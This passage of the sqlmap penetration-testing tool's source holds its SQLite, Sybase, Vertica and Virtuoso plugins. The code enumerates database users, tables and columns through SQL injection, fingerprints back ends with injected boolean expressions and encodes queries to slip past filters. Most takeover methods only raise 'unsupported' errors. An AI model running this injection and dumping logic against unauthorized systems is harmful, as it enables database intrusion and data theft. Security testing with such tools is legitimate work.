enumerate the users" logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on SQLite it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on SQLite it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')" logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on SQLite it is not possible to search databases" logger.warning(warnMsg) return [] def searchColumn(self): errMsg = "on SQLite it is not possible to search columns" raise SqlmapUnsupportedFeatureException(errMsg) def getHostname(self): warnMsg = "on SQLite it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on SQLite it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/sqlite/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on SQLite it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on SQLite it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/sqlite/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import METADB_SUFFIX from lib.core.settings import SQLITE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.SQLITE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.SQLITE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://www.sqlite.org/lang_corefunc.html * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ if not conf.extensiveFp and Backend.isDbmsWithin(SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() return True infoMsg = "testing %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") if result: infoMsg = "confirming %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warning(warnMsg) return False else: infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("RANDOMBLOB(-1) IS NOT NULL") version = '3' if result else '2' Backend.setVersion(version) setDbms(DBMS.SQLITE) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warning(warnMsg) return False def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX) ================================================ FILE: plugins/dbms/sqlite/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97,98,99,100,101,102,103,104) FROM foobar" True """ def escaper(value): return "CHAR(%s)" % ','.join("%d" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/sqlite/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/sybase/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import SYBASE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.sybase.enumeration import Enumeration from plugins.dbms.sybase.filesystem import Filesystem from plugins.dbms.sybase.fingerprint import Fingerprint from plugins.dbms.sybase.syntax import Syntax from plugins.dbms.sybase.takeover import Takeover from plugins.generic.misc import Miscellaneous class SybaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Sybase methods """ def __init__(self): self.excludeDbsList = SYBASE_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.SYBASE] = Syntax.escape ================================================ FILE: plugins/dbms/sybase/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import _mssql import pymssql except: pass import logging from lib.core.common import getSafeExString from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: raise SqlmapConnectionException(ex) except ValueError: raise SqlmapConnectionException self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.Error, _mssql.MssqlDatabaseException) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(getText(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) except pymssql.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal ================================================ FILE: plugins/dbms/sybase/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re from lib.core.common import filterPairValues from lib.core.common import isListLike from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.dicts import SYBASE_TYPES from lib.core.enums import DBMS from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.utils.brute import columnExists from lib.utils.pivotdumptable import pivotDumpTable from plugins.generic.enumeration import Enumeration as GenericEnumeration from thirdparty import six from thirdparty.six.moves import zip as _zip class Enumeration(GenericEnumeration): def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[DBMS.SYBASE].users query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True,) for blind in blinds: retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: kb.data.cachedUsers = list(retVal[0].values())[0] break return kb.data.cachedUsers def getPrivileges(self, *args, **kwargs): warnMsg = "on Sybase it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" logger.warning(warnMsg) users = [] areAdmins = set() if conf.user: users = [conf.user] elif not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers for user in users: user = unArrayizeValue(user) if user is None: continue isDba = self.isDba(user) if isDba is True: areAdmins.add(user) kb.data.cachedUsersPrivileges[user] = None return (kb.data.cachedUsersPrivileges, areAdmins) def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = "fetching database names" logger.info(infoMsg) rootQuery = queries[DBMS.SYBASE].dbs query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for blind in blinds: retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: kb.data.cachedDbs = next(six.itervalues(retVal[0])) break if kb.data.cachedDbs: kb.data.cachedDbs.sort() return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(',') else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = [_ for _ in dbs if _] infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, six.string_types) else db[0] for db in sorted(dbs))) logger.info(infoMsg) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] rootQuery = queries[DBMS.SYBASE].tables for db in dbs: for blind in blinds: query = rootQuery.inband.query % db retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: for table in next(six.itervalues(retVal[0])): if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) break for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warning(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: colList = conf.col.split(',') else: colList = [] if conf.exclude: colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) if conf.tbl: tblList = conf.tbl.split(',') else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = list(six.itervalues(kb.data.cachedTables)) if tblList and isListLike(tblList[0]): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? [y/N/q] " choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': return elif choice == 'Q': raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[DBMS.SYBASE].columns if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = [False, True] else: blinds = [True] for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} if dumpMode and colList: table = {} table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue infoMsg = "fetching columns " infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "on database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for blind in blinds: query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: table = {} columns = {} for name, type_ in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): columns[name] = SYBASE_TYPES.get(int(type_) if hasattr(type_, "isdigit") and type_.isdigit() else type_, type_) table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table break return kb.data.cachedColumns def searchDb(self): warnMsg = "on Sybase searching of databases is not implemented" logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Sybase searching of tables is not implemented" logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Sybase searching of columns is not implemented" logger.warning(warnMsg) return [] def search(self): warnMsg = "on Sybase search option is not available" logger.warning(warnMsg) def getHostname(self): warnMsg = "on Sybase it is not possible to enumerate the hostname" logger.warning(warnMsg) def getStatements(self): warnMsg = "on Sybase it is not possible to enumerate the SQL statements" logger.warning(warnMsg) return [] ================================================ FILE: plugins/dbms/sybase/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def readFile(self, remoteFile): errMsg = "on Sybase it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Sybase it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/sybase/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import SYBASE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.SYBASE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.SYBASE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(SYBASE_ALIASES): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warning(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) if result and result.isdigit(): Backend.setVersion(str(result)) else: for version in xrange(12, 16): result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/sybase/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" True >>> Syntax.escape(u"SELECT 'abcd\xebfgh' FROM foobar") == "SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+TO_UNICHAR(235)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar" True """ def escaper(value): return "+".join("%s(%d)" % ("CHAR" if _ < 128 else "TO_UNICHAR", _) for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/sybase/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Sybase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Sybase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/vertica/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import VERTICA_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.vertica.enumeration import Enumeration from plugins.dbms.vertica.filesystem import Filesystem from plugins.dbms.vertica.fingerprint import Fingerprint from plugins.dbms.vertica.syntax import Syntax from plugins.dbms.vertica.takeover import Takeover from plugins.generic.misc import Miscellaneous class VerticaMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Vertica methods """ def __init__(self): self.excludeDbsList = VERTICA_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.VERTICA] = Syntax.escape ================================================ FILE: plugins/dbms/vertica/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import vertica_python except: pass import logging from lib.core.common import getSafeExString from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: https://github.com/vertica/vertica-python User guide: https://github.com/vertica/vertica-python/blob/master/README.md API: https://www.python.org/dev/peps/pep-0249/ License: Apache 2.0 """ def connect(self): self.initConnection() try: self.connector = vertica_python.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port, connection_timeout=conf.timeout) except vertica_python.OperationalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except vertica_python.ProgrammingError as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) return None def execute(self, query): try: self.cursor.execute(query) except (vertica_python.OperationalError, vertica_python.ProgrammingError) as ex: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) except vertica_python.InternalError as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall() ================================================ FILE: plugins/dbms/vertica/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getRoles(self, *args, **kwargs): warnMsg = "on Vertica it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} ================================================ FILE: plugins/dbms/vertica/filesystem.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): pass ================================================ FILE: plugins/dbms/vertica/fingerprint.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import VERTICA_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.VERTICA) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.VERTICA return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and Backend.isDbmsWithin(VERTICA_ALIASES): setDbms(DBMS.VERTICA) self.getBanner() return True infoMsg = "testing %s" % DBMS.VERTICA logger.info(infoMsg) # NOTE: Vertica works too without the CONVERT_TO() result = inject.checkBooleanExpression("BITSTRING_TO_BINARY(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.VERTICA logger.info(infoMsg) result = inject.checkBooleanExpression("HEX_TO_INTEGER(NULL) IS NULL") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA logger.warning(warnMsg) return False setDbms(DBMS.VERTICA) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.VERTICA logger.info(infoMsg) if inject.checkBooleanExpression("CALENDAR_HIERARCHY_DAY(NULL) IS NULL"): Backend.setVersion(">= 9.0") else: Backend.setVersion("< 9.0") return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.VERTICA logger.warning(warnMsg) return False ================================================ FILE: plugins/dbms/vertica/syntax.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT (CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104)) FROM foobar" True """ def escaper(value): return "(%s)" % "||".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) ================================================ FILE: plugins/dbms/vertica/takeover.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def osCmd(self): errMsg = "on Vertica it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Vertica it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Vertica it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Vertica it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/virtuoso/__init__.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import VIRTUOSO_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.virtuoso.enumeration import Enumeration from plugins.dbms.virtuoso.filesystem import Filesystem from plugins.dbms.virtuoso.fingerprint import Fingerprint from plugins.dbms.virtuoso.syntax import Syntax from plugins.dbms.virtuoso.takeover import Takeover from plugins.generic.misc import Miscellaneous class VirtuosoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Virtuoso methods """ def __init__(self): self.excludeDbsList = VIRTUOSO_SYSTEM_DBS for cls in self.__class__.__bases__: cls.__init__(self) unescaper[DBMS.VIRTUOSO] = Syntax.escape ================================================ FILE: plugins/dbms/virtuoso/connector.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): def connect(self): errMsg = "on Virtuoso it is not (currently) possible to establish a " errMsg += "direct connection" raise SqlmapUnsupportedFeatureException(errMsg) ================================================ FILE: plugins/dbms/virtuoso/enumeration.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def getPasswordHashes(self): warnMsg = "on Virtuoso it is not possible to enumerate the user password hashes" logger.warning(warnMsg) return {} def getPrivileges(self, *args, **kwargs): warnMsg = "on Virtuoso it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} def getRoles(self, *args, **kwargs): warnMsg = "on Virtuoso it is not possible to enumerate the user roles" logger.warning(warnMsg) return {} def searchDb(self): warnMsg = "on Virtuoso it is not possible to search databases" logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Virtuoso it is not possible to search tables" logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Virtuoso it is not possible to search columns" logger.warning(warnMsg) return [] def search(self): warnMsg = "on 